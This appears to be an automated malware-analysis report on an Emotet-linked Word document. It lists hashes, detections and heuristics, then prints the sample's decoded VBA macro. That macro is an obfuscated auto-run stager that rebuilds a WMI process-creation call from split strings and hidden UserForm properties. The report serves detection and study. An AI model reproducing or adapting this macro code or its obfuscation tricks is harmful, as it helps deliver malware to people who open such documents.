Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0042b24a00a23de0…

MALICIOUS

Office (OLE)

233.3 KB Created: 2020-08-14 19:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: ca51fabcf83cd9018b9e6885f07a22c5 SHA-1: 667b9031174b267203189d1888f224e32082221f SHA-256: 0042b24a00a23de031502f7aa4671cf2256c9097cb7509fcd8cda9fb6435e2c6
230 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet malware. The critical heuristic firing for 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Downloader.Emotet-9343215-0' strongly suggest this family. The macro's primary function appears to be executing a command stager, likely to download and execute a further payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9343215-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9343215-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    Salye7w0du_ = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Abg9bqm1_xxkgvqy = CreateObject(T8gt3zq301_jy4)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8149 bytes
SHA-256: 4b0a78118ae568a9116b2d22e79ca63ea488f6f6c4ff3800cb272825913d5d5c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ihcx5o661ffvel0h"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
M2zhb2bg3h7.L_3_zjo9e3cj
End Sub


Attribute VB_Name = "M2zhb2bg3h7"
Attribute VB_Base = "0{DD5C8AB4-EE24-4E07-973A-BFBDADFC562A}{0FD0FBC0-7BA9-4D1A-81EC-080B923C3A27}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function L_3_zjo9e3cj()
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Dg8vl90i_gnx6oneo = M2zhb2bg3h7.HelpContextId + 100
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
F1yed8k52ms7phinc = ChrW(Dg8vl90i_gnx6oneo + (100 + 35) / 9)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Pc9gjn1gd2mq = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + F1yed8k52ms7phinc + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + M2zhb2bg3h7.Ogy5fj4wkxjfi994o1 + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
T8gt3zq301_jy4 = Azw354d0pcehsen9(Pc9gjn1gd2mq)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Set Abg9bqm1_xxkgvqy = CreateObject(T8gt3zq301_jy4)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Piy8cnn_jhwosoa4xv = M2zhb2bg3h7.Qg_la1yd_x70nuya1i.ControlTipText
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
R11gved1azw__e7 = Ulyt9dza1sxe12e1xr + (T8gt3zq301_jy4 + F1yed8k52ms7phinc + M2zhb2bg3h7.Quh9ehed22fon37kxa.ControlTipText + Piy8cnn_jhwosoa4xv)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Rylzrfpuk7go33ogu = R11gved1azw__e7 + M2zhb2bg3h7.Ogy5fj4wkxjfi994o1
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Set Lw6uf1_9xtfb = Hmfj6vi7c4_m58(Rylzrfpuk7go33ogu)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
L0n4zjow6kjvj = Array(M5oho4n41bycm5 + "Qvd_h1aqt0ktr61q8 Si82tjz7xjmex O6i1gwczro6idj70_v", Abg9bqm1_xxkgvqy. _
Create(M6w4p3mvl643v7pb2l, Sxw67b5lld2dpmn0x, Lw6uf1_9xtfb), Zkkla3t7lfpazj2 + "Yk0_nyml2v1kq Tkjm_lrow5m_2z7lpr")
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
End Function
Function Hmfj6vi7c4_m58(Fykyi0lt2yf_l4)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Set Hmfj6vi7c4_m58 = CreateObject(Fykyi0lt2yf_l4)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Hmfj6vi7c4_m58. _
showwindow = Bodayjl9_upbi + Kpe2mkq7uyfxn9
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
End Function
Function Azw354d0pcehsen9(N_xsan4wohi)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Ydqg04j1n7vsv = N_xsan4wohi
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Salye7w0du_ = Split _
(Ydqg04j1n7vsv, "72[snn h7&&2137gb]nJG[ 81sdasd2v")
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Z5ow1v8c7mnrj2 = Kqgj9osxkvcynr5h + Join(Salye7w0du_, Cumk3uch7g5q6a8ok)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Azw354d0pcehsen9 = Z5ow1v8c7mnrj2
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
End Function
Function M6w4p3mvl643v7pb2l()
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
Kp8tz_xkizr6 = M2zhb2bg3h7.S29gmso_u0y2u.Pages(12 / 12 / 1).Tag
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
M6w4p3mvl643v7pb2l = Azw354d0pcehsen9(Kp8tz_xkizr6)
   Najfwq7e_zxh0i7i = 4
Do While Najfwq7e_zxh0i7i < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Najfwq7e_zxh0i7i = Najfwq7e_zxh0i7i + 8: DoEvents
Loop
End Function

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